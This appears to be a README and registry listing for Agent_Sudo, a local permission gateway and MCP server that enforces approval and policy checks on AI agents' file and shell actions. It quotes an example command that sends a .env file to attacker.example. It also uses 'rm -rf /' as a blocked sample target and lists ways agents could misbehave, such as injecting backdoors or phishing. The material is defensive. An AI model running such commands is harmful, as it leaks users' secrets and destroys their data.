agent-sudo-mcp
Agent_Sudo is a local permission gateway MCP server that validates, authorizes, and controls tool execution, enforcing security policies on file and shell operations.
Read Files (
read_file): Read local files with policy enforcement that automatically blocks access to private/sensitive files such as credentials, config folders, and shell startup scripts.Write Files (
write_file): Write UTF-8 text content to local files, with policy enforcement that flags writes to executable code or configuration files as "critical", potentially requiring human confirmation.Run Shell Commands (
run_shell_command): Execute local shell commands subject to approval gates (e.g., passphrase confirmation for sensitive commands) and policy enforcement that can block dangerous or out-of-scope operations.Get Runtime Context (
get_runtime_context): Retrieve the current working directory, git repository root, active branch, and workspace status to verify the runtime environment.
Agent_Sudo
Agent_Sudo is a local permission gateway for AI agents that validates, authorizes, and controls tool execution before actions are run.
Discoverability & Registry Status
📦 PyPI Package: agent-sudo-mcp on PyPI
🌐 Glama Registry Listing: Live listing at glama.ai/mcp/servers/Kisyntra/Agent_Sudo
🛠️ MCP Server Integration: Read the MCP Server Setup Guide
🏢 GitHub Organization: Part of the Kisyntra ecosystem
Demo

Choose Your Path
Whether you want to protect your desktop agent, secure your custom Python agent application, or run security operations on agent audit logs, choose the path that fits your use case:
1. Claude Desktop / MCP Users
For developers running Claude Desktop or other Model Context Protocol (MCP) clients who want to secure local filesystem/command execution.
Installation: Standard
pipx install agent-sudo-mcp(recommended) orpip install agent-sudo-mcp.Configuration: Add the Agent_Sudo stdio server to your
claude_desktop_config.json.Guide: See the MCP Server Setup Guide and Claude Desktop Setup Guide.
2. Python Agent Developers
For developers building autonomous agents using frameworks like PydanticAI, LangGraph, or the OpenAI Agents SDK who want to enforce execution policies in code.
30-Second Code Example:
from agent_sudo.gateway import PermissionGateway from agent_sudo.models import ActionRequest from agent_sudo.policy import load_default_policy # Initialize gateway with local policy rules gateway = PermissionGateway(load_default_policy()) # Gate tool execution in your application request = ActionRequest(actor="my-agent", source="user", tool="shell", action="run_command", target="rm -rf /") result = gateway.evaluate(request) if result.decision.name == "DENY": raise PermissionError(f"Blocked by Agent_Sudo: {result.reason}")Framework Examples:
3. CLI / Security Operations
For system administrators and security engineers who want to audit agent logs, manage credentials, and configure temporary delegation tokens.
Install:
pipx install agent-sudo-mcp(recommended) orpip install agent-sudo-mcpInitialize:
agent-sudo init-approval(sets up local passphrase for CLI confirmations)Built-in Demo: Run
agent-sudo demoto see policies in action.Audit Verification: Run
agent-sudo verify-audit <path/to/audit.jsonl>to verify cryptographic hash chain integrity.
Supported Framework Examples
Agent_Sudo has pre-built example templates showing in-process integration for major Python agent frameworks:
✓ OpenAI Agents SDK — pre-wrapping assistant tool functions.
✓ PydanticAI — gating tool execution using standard Python decorators.
✓ LangGraph — securing tool node execution and graph states.
✓ agent-runtimes — registering the local tool hooks handler in config.
Why Agent_Sudo If I Already Use Docker?
A common question from security engineers and developers is: "Why do I need a policy gateway if I am already isolating my agents in a Docker container, gVisor sandbox, or Firecracker microVM?"
The difference is a separation of concerns:
Docker/Firecracker/Sandboxes answer: "Where can code run?" They isolate the process from the host operating system, preventing an agent from escaping to your local machine, but they do not monitor what the agent is doing inside the sandbox.
Agent_Sudo answers: "Should this action be allowed?" It operates at the intent and application logic level, evaluating the context, provenance, and authorization rules of individual actions before execution.
Practical Examples
Even inside a perfectly isolated Docker container, an agent with raw tool access can:
Exfiltrate Secrets: Run
curl -X POST -d @.env https://attacker.exampleto leak your API keys. A VM allows outbound network requests by default; Agent_Sudo detects the source trust and target, blocking the exfiltration.Write/Inject Code: Edit your project's
main.pyto insert a backdoor or dependency. While Docker prevents host pollution, it cannot prevent the agent from corrupting your project workspace. Agent_Sudo flags critical file edits and requires human confirmation.Perform Social Engineering: Send automated emails, Slack messages, or Discord alerts to external users containing phishing links under the guise of the agent owner. Agent_Sudo gates communication tools based on user approvals.
Exceed Delegation Scopes: An agent running a automated build pipeline might accidentally or maliciously call tools outside its intended scope. Agent_Sudo uses temporary delegation tokens to automatically lock the agent out once its quota or time-to-live expires.
These two layers are complementary: use Docker/VM sandboxes to isolate environment resources, and use Agent_Sudo to validate tool execution intent. For a detailed technical breakdown, see Agent_Sudo vs. Container/VM Sandboxes.
Security Boundaries Notice:
Gateway, Not a Sandbox:
Agent_Sudois a local permission gateway and policy engine; it is not an OS-level sandbox or container. It gates tool access but does not isolate filesystem or process resources.Best-Effort Shell Filtering: Shell command policy checks are best-effort unless reinforced by OS-level containment or custom runtime sandboxes.
Client Runtime Bypass: Native tools registered directly in host runtimes (e.g., Eino, Hermes) can bypass
Agent_Sudoentirely unless those tools are disabled or explicitly routed through this gateway.
Core Features
Approval Gates: Prompts for interactive confirmation (CLI yes/no) on sensitive actions, and requires a local passphrase for critical actions (e.g., running shell commands).
Protected Reads: Automatically blocks reads targeting private files such as credentials, configuration folders, and shell startup scripts.
Critical Write Detection: Upgrades ordinary file writes to critical status if the target is executable code or configuration files.
Scoped Delegation: Allows humans to issue temporary, resource-limited permission tokens (e.g., allow read access to
/path/to/projectfor 2 hours, max 10 uses).Audit Logs: Records all tool attempts and gateway decisions to a local JSONL log file secured with a SHA-256 hash chain to detect log tampering.
Claude Desktop / MCP Support: Implements the Model Context Protocol (MCP) to plug directly into Claude Desktop as a stdio server.
Try it in 30 Seconds
Verify how Agent_Sudo classifies tool risk and makes gateway decisions using our built-in demo (no repository clone or config files needed):
# Run the built-in gateway interactive demo
agent-sudo demo5-Minute Quickstart
1. Install Agent_Sudo
Choose the installation method based on how you intend to use the gateway:
For CLI Users & Claude Desktop (MCP)
To run the CLI tools or the MCP server, install using pipx (recommended) to automatically manage your executable path and avoid global dependency conflicts:
pipx install agent-sudo-mcpNote: If the agent-sudo command is not found after installation, make sure your pipx binary path is in your environment by running pipx ensurepath and restarting your terminal.
For Python SDK / Library Integration
If you are integrating Agent_Sudo programmatically within your agent codebase (e.g., PydanticAI, LangGraph), install the package into your project environment:
pip install agent-sudo-mcp(If you are developing or running from source, see the Claude Desktop Setup Guide for editable installation).
Verify the installation:
agent-sudo --version
agent-sudo doctor2. Initialize the Approval Passphrase
Set up a secure passphrase for approving critical actions (e.g. shell command execution):
agent-sudo init-approvalThis passphrase is hashed locally (PBKDF2-HMAC-SHA256) and cannot be recovered. If lost, you must reset the approval configuration.
3. Check Context
Verify that the runtime context matches your current directory:
agent-sudo contextContributor Setup
If you are developing Agent_Sudo or integrating it with a custom runtime:
# Clone the repository
git clone https://github.com/Kisyntra/Agent_Sudo.git
cd Agent_Sudo
# Install in editable mode
python3 -m pip install -e .To run unit tests:
python3 -m unittest discover -s testsEcosystem
We work with agent runtime maintainers and external implementers to define portable authorization and audit standards:
Official Integrations:
agent-runtimes — Merged (PR #98) local plugin hook handler (
agent_sudo_local).
Active Implementations:
LexFlow — In-progress design review (#124) for native JS/TS client audit logging and verification.
Research & Local PoC:
Hermes — Experimental architecture research (#34992) targeting registry-level dispatch gating.
Public Listings:
Glama MCP Registry — Active, verified listing with introspection tests.
For a full compatibility matrix and integration details, see the Ecosystem Status Guide.
Documentation Directory
Directory / Section | Topic | Key Files |
First Run | Getting started tutorial | |
Troubleshooting | Diagnostics and resolution steps | |
Integrations | Connecting to runtimes and IDEs | docs/integrations/overview.md • Ecosystem Status • Outreach Playbook • Adoption Dashboard • Discoverability Notes • LexFlow Readiness • LexFlow Checklist • Claude Desktop • MCP Setup • agent-runtimes • Hermes (Research) |
Architecture | Abstractions and core pipelines | docs/architecture/overview.md • Layered Architecture • Enforcement Model |
Specifications | Language-agnostic standard models | spec/runtime_compatibility_levels.md • Universal Schema • Policy & Audit • Interoperability Test Kit |
Security | Threat modeling and limits | |
Comparisons | Policy vs Container Sandboxes |
CI/CD & Release Automation
Agent_Sudo uses GitHub Actions to automate checks and distribution:
Continuous Integration: The CI workflow runs on all pushes and pull requests targeting the
mainbranch, running the unittest suite, scanning for personal path disclosures, executinggit diff --checkwhitespace validation, and verifying Python package compilation.Automated Releases: Releases are generated automatically when a git tag matching
v*is pushed.Release candidate tags (e.g.
v0.4.0-rc12) are published as GitHub Prereleases and are explicitly excluded from being marked as the latest release.Release notes are automatically parsed and extracted from the matching version entry in
CHANGELOG.md.
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Latest Blog Posts
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/Kisyntra/Agent_Sudo'
If you have feedback or need assistance with the MCP directory API, please join our Discord server